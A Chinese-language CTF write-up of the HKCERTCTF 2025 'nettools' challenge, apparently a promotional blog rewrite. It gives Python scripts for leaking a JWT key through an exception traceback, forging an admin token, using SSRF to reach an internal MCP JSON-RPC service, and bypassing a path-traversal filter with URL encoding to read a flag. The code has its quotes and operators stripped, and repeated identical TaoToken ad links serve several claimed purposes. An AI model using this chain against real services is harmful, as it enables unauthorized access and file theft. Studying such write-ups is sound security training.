ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

[HKCERTCTF 2025]nettools 复盘:FastAPI+JWT 的 SSRF 面与 MCP JSON-RPC 调用链

[HKCERTCTF 2025]nettools 复盘:FastAPI+JWT 的 SSRF 面与 MCP JSON-RPC 调用链 1. 从一道 CTF 题看 FastAPIJWT 的 SSRF 攻击面如果你正在学 Web 安全或者平时用 FastAPI 写后端、用 JWT 做鉴权那 HKCERTCTF 2025 的这道 nettools 很值得拆一遍。它把三个看似独立的东西串成了一条完整攻击链FastAPI 路由 JWT 鉴权下的越权、SSRF 打内网服务、以及 MCPModel Context Protocol的 JSON-RPC 调用链。核心检索词就是 FastAPI JWT SSRF MCP JSON-RPC 调用链能做什么它能让你在一个自建环境里完整还原从伪造管理员 Token到读到 flag的全过程适合想搞懂 SSRF 如何穿透到 AI 协议层的安全爱好者。题目给的是一个 FastAPI 应用用 JWT 认证管理员可以通过/admin/nettools路由访问本地服务。听起来很普通但审计security.py时你会发现一个假后门verify_token里有一行SECRET_KEY secretkey if len(token) 2048 else base64.b64decode(token[:2048])看起来像是故意留的密钥覆盖但下面jwt.decode用的还是settings.SECRET_KEY这个局部变量根本没被使用。很多人到这一步会觉得没戏了但真正的突破口在except块里——traceback.format_exc()把完整堆栈返回给了客户端这是经典的危险行为。我试过在本地把这段逻辑跑起来构造一个畸形 token 触发 base64 解码异常服务器直接 500 并把异常信息吐回来密钥就藏在堆栈里。拿到密钥后伪造 JWT 越权进/admin/nettools再用它做 SSRF 打127.0.0.1:9000上的 MCP 服务通过 JSON-RPC 的prompts/get和resources/read一步步读到 flag。整条链子环环相扣下面我把可复制的复现配置和逐条验证动作拆开讲。2. 本地复现环境与 TaoToken 前置准备要完整复现这条链你需要一个能跑 FastAPI 的本地环境以及一个能调用模型来辅助分析协议的工具入口。TaoToken 在这里的作用是给你一个统一的 API 入口方便你在调试 MCP 协议、分析 JSON-RPC 报文时用模型对话快速查文档、生成脚本。官网地址是 https://taotoken.net/?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewriteutm_content API 端点是 https://taotoken.net/api 。先说依赖清单。本地复现需要 Python 3.10核心依赖是 FastAPI、uvicorn、PyJWT、requests、httpx。你可以直接建一个虚拟环境python -m venv venv source venv/bin/activate # Windows 用 venv\Scripts\activate pip install fastapi uvicorn pyjwt requests httpx python-multipart题目里的应用还用了python-jose或PyJWT做 JWT 解码具体看附件。我本地复现时用的是 PyJWT因为jwt.decode的报错信息更接近题目描述。启动命令很简单uvicorn main:app --host 127.0.0.1 --port 8000 --reload启动后你会看到 FastAPI 的默认日志访问http://127.0.0.1:8000/docs能看到自动生成的接口文档。这一步很关键因为/admin/nettools的请求体格式http_method、http_url、http_headers、http_body都能从文档里确认。关于 TaoToken 的前置准备你需要在控制台创建一个 API Key然后把它配到你的调试脚本或模型对话工具里。如果你只是想在浏览器里快速验证模型对 MCP 协议的理解可以直接用模型对话入口 https://taotoken.net/api?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewrite 。如果你打算长期做安全脚本开发、Agent 调试建议走 Coding Plan https://taotoken.net/api?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewrite 。API Key 的创建入口在 https://taotoken.net/api?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewrite 接入文档在 https://taotoken.net/api?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewrite 。这里要提醒一句TaoToken 是给你提供模型调用能力的入口不是让你去连生产库或者做灰色中转。复现 CTF 题目时所有请求都打在你本地的127.0.0.1上不要对着真实业务系统做未授权测试。3. 可复制配置JWT 伪造与 SSRF 请求样例这一节是整条链的核心我把每一步的配置和请求样例都写成可直接复制的形式。先解决 JWT 越权。题目里verify_token的异常处理会泄露密钥。构造畸形 token 的思路是让len(token) 2048触发base64.b64decode(token[:2048])而前 2048 个字符里包含非法 base64 字符比如!导致binascii.Error被except Exception捕获后返回traceback.format_exc()。payload 就是(A * 2047) ! (B * 100)。import requests TARGET_URL http://127.0.0.1:8000/admin/nettools def extract_secret_key(): malformed_token (A * 2047) ! (B * 100) cookies {access_token: fBearer {malformed_token}} resp requests.get(TARGET_URL, cookiescookies, timeout5) print(f状态码: {resp.status_code}) if resp.status_code 500: print(resp.text) if __name__ __main__: extract_secret_key()运行后你会看到堆栈里出现类似RDbiBrgdR#CrdZVW的密钥。拿到密钥后用游客账户登录伪造一个subadmin的 JWTimport jwt import time SECRET_KEY RDbiBrgdR#CrdZVW payload { sub: admin, exp: int(time.time()) 3600 } token jwt.encode(payload, SECRET_KEY, algorithmHS256) print(token)把生成的 token 塞进 Cookieaccess_tokenBearer token就能访问/admin/nettools。接下来是 SSRF 打内网 MCP 服务。/admin/nettools的请求体是表单格式字段包括http_method、http_url、http_headers、http_body。先探测端口发现127.0.0.1:9000上有 MCP 服务。第一次请求会报Invalid Content-Type header改成application/json后又报 406提示Client must accept both application/json and text/event-stream。所以请求头必须同时带Content-Type: application/json和Accept: application/json, text/event-stream。下面是一个完整的 JSON-RPC 调用样例用来列工具import requests import json import html import re TARGET_URL http://127.0.0.1:8000/admin/nettools MCP_SERVICE_URL http://127.0.0.1:9000 ACCESS_TOKEN 你伪造的JWT def send_ssrf_request(jsonrpc_request, session_id): form_data { http_method: POST, http_url: MCP_SERVICE_URL, http_headers: json.dumps({ Content-Type: application/json, Accept: application/json, text/event-stream, mcp-session-id: session_id }), http_body: json.dumps(jsonrpc_request) } headers { Content-Type: application/x-www-form-urlencoded, User-Agent: NetTool-Client, Accept: text/html,application/json } cookies {access_token: fBearer {ACCESS_TOKEN}} resp requests.post(TARGET_URL, dataform_data, headersheaders, cookiescookies, timeout10) match re.search(r(div classoutput-box[\s\S]*?/div), resp.text) if match: return html.unescape(match.group(1)) return 未找到 output-box if __name__ __main__: req { jsonrpc: 2.0, id: 1, method: tools/list, params: {cursor: optional-cursor-value} } print(send_ssrf_request(req, 81b9372e004f4285a3a2424aac650370))mcp-session-id是 MCP 协议的会话指纹第一次请求时可以从响应头里拿或者用服务端返回的默认值。列工具会看到welcome_message和calculate_sum这两个没什么用真正的入口在 prompts 和 resources。4. 验证请求从 prompts/get 到 resources/read 读 flag工具列表没价值就换prompts/list。返回里有一个where_is_flag描述是 Where is the flag located?。用prompts/get调用它req { jsonrpc: 2.0, id: 2, method: prompts/get, params: { name: where_is_flag, arguments: {name: } } } print(send_ssrf_request(req, session_id))返回结果里会告诉你 flag 在/root/1ffflllaaaggg。接下来想直接读文件但resources/read读file://不通于是列资源模板resources/templates/list返回{ jsonrpc: 2.0, id: 3, result: { resourceTemplates: [ { name: get_file_base64, uriTemplate: base64://tmp/{filename}, description: Get the /tmp file in base64 encoding., mimeType: text/plain } ] } }模板从/tmp开始读所以要用目录穿越。第一次尝试base64://tmp/../root/1ffflllaaaggg返回Unknown resource说明../被过滤了。再试发现/也被过滤。这时候用 URL 编码绕过把/写成%2freq { jsonrpc: 2.0, id: 13, method: resources/read, params: { uri: base64://tmp/..%2froot%2f1ffflllaaaggg } } print(send_ssrf_request(req, session_id))返回的 base64 字符串是ZmxhZ3tNcnd1aDBDVFlTd21Lb2U4NDZDV1owbGxhdUZYV1ByU30K解码后得到flag{Mrwuh0CTYSwmKoe846CWZ0llauFXWPrS}。整条链验证完毕。这里有个细节值得注意MCP 的resources/read对 URI 做了过滤但过滤逻辑只处理了明文../和/没有对 URL 编码做二次解码所以%2f能绕过。这是典型的过滤不彻底漏洞在自建 MCP 服务时一定要对 URI 做规范化处理再判断是否在允许的目录内。5. 常见报错排查401、406、local proxy failed 与 OAuth复现过程中最容易卡住的几个报错我逐个拆一下。401 Unauthorized / Invalid token: signature or expiration failed这是 JWT 伪造失败。检查三点密钥是否正确从 traceback 里提取的密钥有没有多余空格、sub是否等于settings.ADMIN_USERNAME、exp是否过期。如果报sub missing说明 payload 里没带sub字段。500 Token custom check failed这是触发异常泄露密钥的那一步。如果没返回堆栈检查 token 长度是否真的超过 2048以及前 2048 字符里是否包含非法 base64 字符。!、、#都可以触发binascii.Error。Invalid Content-Type headerSSRF 请求打到 MCP 服务时http_headers里的Content-Type必须是application/json。注意这是内层请求的 header不是外层/admin/nettools的application/x-www-form-urlencoded。406 Not Acceptable: Client must accept both application/json and text/event-streamMCP 服务要求Accept头同时包含application/json和text/event-stream。少一个都会 406。这个报错在 JSON-RPC 调用链里很常见因为 MCP 基于 SSE 做流式传输。local proxy failed / connection refusedSSRF 打内网端口时如果目标端口没服务会返回连接失败。先用127.0.0.1爆破常用端口题目里 5000 会 307 重定向到/login只有 9000 是真正的 MCP 服务。如果你在本地复现确认 MCP 服务已经启动并且监听在127.0.0.1:9000。OAuth 相关报错如果你用 Claude Code 或 Cline 这类工具接 MCP可能会遇到 OAuth 认证失败。这时候要检查settings.json或auth.json里的配置。以 Claude Code 为例配置文件通常在~/.claude/settings.json需要写全三件套Base URL、API Key、Model ID。如果你用 Codex 的auth.json格式类似{ base_url: https://taotoken.net/api, api_key: sk-xxxxxxxx, model: claude-sonnet-4-20250514 }Cline 的 MCP 配置则在cline_mcp_settings.json里同样要写全 Base URL、Key、Model ID。如果只填了 Key 没填 Base URL就会报local proxy failed或者 OAuth 回调失败。CC Switch 这类工具切换配置时也要确认三件套完整否则 JSON-RPC 调用链会在第一步就断掉。6. 语义一致的接入与排障入口整条链跑通后你会发现 FastAPIJWT 的 SSRF 面其实不复杂难的是把 MCP 的 JSON-RPC 调用链串起来。如果你在复现时卡在协议细节上比如prompts/get的参数格式、resources/read的 URI 编码可以用模型对话快速查 MCP 官方文档的对应章节 https://taotoken.net/api?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewrite 。如果你要长期做安全脚本开发、Agent 调试建议用 Coding Plan 把模型调用固定下来 https://taotoken.net/api?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewrite 。API Key 的创建和接入文档都在 https://taotoken.net/api?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewrite 遇到 401、406 这类报错时先对照文档确认请求头和鉴权格式再回头检查你的 JWT 和 SSRF 请求体。最后留一个实用技巧复现这类题目时把每一步的请求和响应都存成文件尤其是 traceback 和 JSON-RPC 的返回。MCP 的mcp-session-id会过期重新请求时要重新拿。目录穿越的 URL 编码绕过也不是只有%2f%252f双重编码在某些实现里也能生效具体看服务端的解码次数。
返回列表